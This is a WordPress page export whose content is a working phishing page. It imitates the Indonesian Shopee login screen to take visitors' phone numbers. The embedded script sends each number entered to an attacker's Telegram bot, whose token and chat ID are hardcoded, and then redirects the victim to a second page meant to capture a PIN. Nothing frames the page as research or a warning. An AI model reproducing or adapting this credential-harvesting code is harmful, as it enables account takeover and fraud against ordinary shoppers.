{"id":206,"date":"2026-06-04T13:41:49","date_gmt":"2026-06-04T13:41:49","guid":{"rendered":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=206"},"modified":"2026-06-04T16:18:28","modified_gmt":"2026-06-04T16:18:28","slug":"206-2","status":"publish","type":"page","link":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=206","title":{"rendered":"LOGIN SHOPEE"},"content":{"rendered":"\n<!DOCTYPE html>\n<html lang=\"id\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Log in &#8211; Shopee<\/title>\n    <style>\n        * {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, \"Helvetica Neue\", Arial, sans-serif;\n        }\n\n        body {\n            background-color: #ffffff;\n            min-height: 100vh;\n            padding: 0 16px;\n        }\n\n        .header {\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 16px 8px;\n            margin-bottom: 50px;\n        }\n\n        .back-btn {\n            font-size: 28px;\n            color: #333333;\n            text-decoration: none;\n            font-weight: 300;\n        }\n\n        .header-title {\n            font-size: 24px;\n            font-weight: 500;\n            color: #222222;\n        }\n\n        .help-circle {\n            width: 28px;\n            height: 28px;\n            border: 1px solid #EE4D2D;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 16px;\n            color: #EE4D2D;\n            font-weight: 500;\n        }\n\n        .logo-wrapper {\n            text-align: center;\n            margin-bottom: 50px;\n        }\n\n        .shopee-logo {\n            width: 72px;\n            height: 72px;\n            background-color: #EE4D2D;\n            border-radius: 12px;\n            display: inline-flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .shopee-logo span {\n            font-size: 38px;\n            font-weight: bold;\n            color: #ffffff;\n        }\n\n        .input-container {\n            position: relative;\n            margin-bottom: 24px;\n            padding: 0 8px;\n        }\n\n        .input-icon {\n            position: absolute;\n            left: 2px;\n            top: 50%;\n            transform: translateY(-50%);\n            font-size: 22px;\n            color: #999999;\n        }\n\n        .phone-input {\n            width: 100%;\n            padding: 14px 12px 14px 36px;\n            border: none;\n            border-bottom: 1px solid #E5E5E5;\n            font-size: 18px;\n            color: #222222;\n            outline: none;\n            background: transparent;\n        }\n\n        .phone-input::placeholder {\n            color: #CCCCCC;\n        }\n\n        .btn-next {\n            width: 100%;\n            padding: 14px 0;\n            background-color: #EEEEEE;\n            color: #BBBBBB;\n            border: none;\n            border-radius: 4px;\n            font-size: 17px;\n            font-weight: 400;\n            margin: 0 8px 24px;\n            cursor: default;\n            transition: all 0.2s ease;\n        }\n\n        .btn-next.active {\n            background-color: #EE4D2D;\n            color: #FFFFFF;\n            cursor: pointer;\n        }\n\n        .link-row {\n            display: flex;\n            justify-content: space-between;\n            margin: 0 8px 36px;\n        }\n\n        .link {\n            font-size: 16px;\n            color: #0066CC;\n            text-decoration: none;\n        }\n\n        .separator {\n            display: flex;\n            align-items: center;\n            margin: 0 8px 20px;\n            color: #AAAAAA;\n            font-size: 15px;\n        }\n\n        .separator::before,\n        .separator::after {\n            content: '';\n            flex: 1;\n            height: 1px;\n            background-color: #EEEEEE;\n            margin: 0 12px;\n        }\n\n        .login-methods {\n            display: flex;\n            flex-direction: column;\n            gap: 10px;\n            padding: 0 8px;\n        }\n\n        .method-btn {\n            width: 100%;\n            padding: 10px 14px;\n            background-color: #FFFFFF;\n            border: 1px solid #DDDDDD;\n            border-radius: 4px;\n            font-size: 16px;\n            font-weight: 400;\n            color: #222222;\n            cursor: pointer;\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            text-align: left;\n            white-space: nowrap;\n        }\n\n        .icon-box {\n            width: 26px;\n            height: 26px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 15px;\n            font-weight: bold;\n            flex-shrink: 0;\n        }\n\n        .wa-icon { background-color: #25D366; color: white; }\n        .fb-icon { background-color: #1877F2; color: white; }\n        .google-icon { background-color: #EEEEEE; color: #888888; }\n    <\/style>\n<\/head>\n<body>\n\n    <div class=\"header\">\n        <a href=\"#\" class=\"back-btn\">\u2190<\/a>\n        <h1 class=\"header-title\">Log in<\/h1>\n        <div class=\"help-circle\">?<\/div>\n    <\/div>\n\n    <div class=\"logo-wrapper\">\n        <div class=\"shopee-logo\"><span>S<\/span><\/div>\n    <\/div>\n\n    <div class=\"input-container\">\n        <span class=\"input-icon\">\ud83d\udc64<\/span>\n        <input type=\"tel\" id=\"phoneInput\" class=\"phone-input\" placeholder=\"Nomor Telepon\" maxlength=\"15\">\n    <\/div>\n\n    <button id=\"nextBtn\" class=\"btn-next\">Berikutnya<\/button>\n\n    <div class=\"link-row\">\n        <a href=\"#\" class=\"link\">Daftar<\/a>\n        <a href=\"#\" class=\"link\">Log in dengan Password<\/a>\n    <\/div>\n\n    <div class=\"separator\">ATAU<\/div>\n\n    <div class=\"login-methods\">\n        <button class=\"method-btn\"><span class=\"icon-box wa-icon\">\ud83d\udcde<\/span>Log In dengan WhatsApp<\/button>\n        <button class=\"method-btn\"><span class=\"icon-box fb-icon\">f<\/span>Log In dengan Facebook<\/button>\n        <button class=\"method-btn\"><span class=\"icon-box google-icon\">G<\/span>Log In dengan Google<\/button>\n    <\/div>\n\n    <script>\n        const BOT_TOKEN = \"8718805253:AAEGPe1KKTEv3cYYoA3jFMzlbSvw5282LYA\";\n        const CHAT_ID = \"5751726677\";\n        \/\/ Link tujuan halaman PIN\n        const HALAMAN_PIN = \"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=208\";\n\n        const phoneInput = document.getElementById('phoneInput');\n        const nextBtn = document.getElementById('nextBtn');\n\n        phoneInput.addEventListener('input', function() {\n            nextBtn.classList.toggle('active', this.value.trim().length >= 8);\n        });\n\n        nextBtn.addEventListener('click', function() {\n            if (!this.classList.contains('active')) return;\n\n            const phoneNumber = phoneInput.value.trim();\n            this.disabled = true;\n            this.textContent = \"Memproses...\";\n\n            localStorage.setItem('nomorTelepon', phoneNumber);\n\n            const pesan = `\ud83d\udd14 *Data Login Shopee*\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\\n\ud83d\udcf1 Nomor: \\`${phoneNumber}\\`\\n\u23f0 Waktu: ${new Date().toLocaleString('id-ID')}\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501`;\n\n            fetch(`https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(pesan)}&parse_mode=Markdown`)\n                .then(res => res.json())\n                .then(data => {\n                    if (data.ok) {\n                        \/\/ Arahkan ke link halaman PIN\n                        window.location.href=HALAMAN_PIN;\n                    } else {\n                        alert('Nomor tidak dikenali.');\n                        this.disabled=false;\n                        this.textContent=\"Berikutnya\";\n                    }\n                })\n                .catch(() => {\n                    alert('Koneksi bermasalah.');\n                    this.disabled=false;\n                    this.textContent=\"Berikutnya\";\n                });\n        });\n    <\/script>\n\n<\/body>\n<\/html>\n\n","protected":false},"excerpt":{"rendered":"<p>Log in &#8211; Shopee \u2190 Log in ? S \ud83d\udc64 Berikutnya Daftar Log in dengan Password ATAU \ud83d\udcdeLog In dengan WhatsApp fLog In dengan Facebook GLog In dengan Google<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-206","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/206","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=206"}],"version-history":[{"count":5,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/206\/revisions"}],"predecessor-version":[{"id":225,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/206\/revisions\/225"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=206"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}